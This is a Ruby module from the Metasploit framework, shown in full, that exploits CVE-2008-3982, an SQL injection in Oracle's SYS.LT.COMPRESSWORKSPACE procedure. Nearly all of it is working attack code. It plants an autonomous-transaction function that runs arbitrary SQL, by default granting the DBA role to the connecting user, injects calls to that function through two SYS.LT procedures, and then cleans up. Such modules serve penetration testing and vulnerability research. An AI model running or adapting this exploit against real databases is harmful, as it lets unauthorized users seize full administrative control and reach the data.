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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::ORACLE
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Oracle DB SQL Injection via SYS.LT.COMPRESSWORKSPACE',
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      'Description'    => %q{
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        This module exploits an sql injection flaw in the COMPRESSWORKSPACE
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        procedure of the PL/SQL package SYS.LT. Any user with execute
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        privilege on the vulnerable package can exploit this vulnerability.
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      },
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      'Author'         => [ 'CG' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2008-3982'],
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          [ 'OSVDB', '49324'],
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          [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ]
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        ],
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      'DisclosureDate' => '2008-10-13'))
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      register_options(
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        [
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          OptString.new('SQL', [ false, 'SQL to execte.',  "GRANT DBA to #{datastore['DBUSER']}"]),
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        ])
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  end
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  def run
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    return if not check_dependencies
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    name  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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    cruft = Rex::Text.rand_text_alpha_upper(1)
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    function = "
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      CREATE OR REPLACE FUNCTION #{cruft}
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      RETURN VARCHAR2 AUTHID CURRENT_USER
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      AS
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      PRAGMA AUTONOMOUS_TRANSACTION;
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      BEGIN
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      EXECUTE IMMEDIATE '#{datastore['SQL']}';
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      COMMIT;
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      RETURN '#{cruft}';
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      END;"
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    package1 = "BEGIN SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"
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    package2 = "BEGIN SYS.LT.COMPRESSWORKSPACETREE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"
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    clean = "DROP FUNCTION #{cruft}"
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    print_status("Attempting sql injection on SYS.LT.COMPRESSWORKSPACE...")
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    print_status("Sending function...")
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    prepare_exec(function)
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    begin
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      prepare_exec(package1)
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      prepare_exec(package2)
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    rescue  => e
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      if ( e.to_s =~ /No Data/ )
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        print_status("Removing function '#{cruft}'...")
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        prepare_exec(clean)
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      else
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        return
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      end
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    end
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  end
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end
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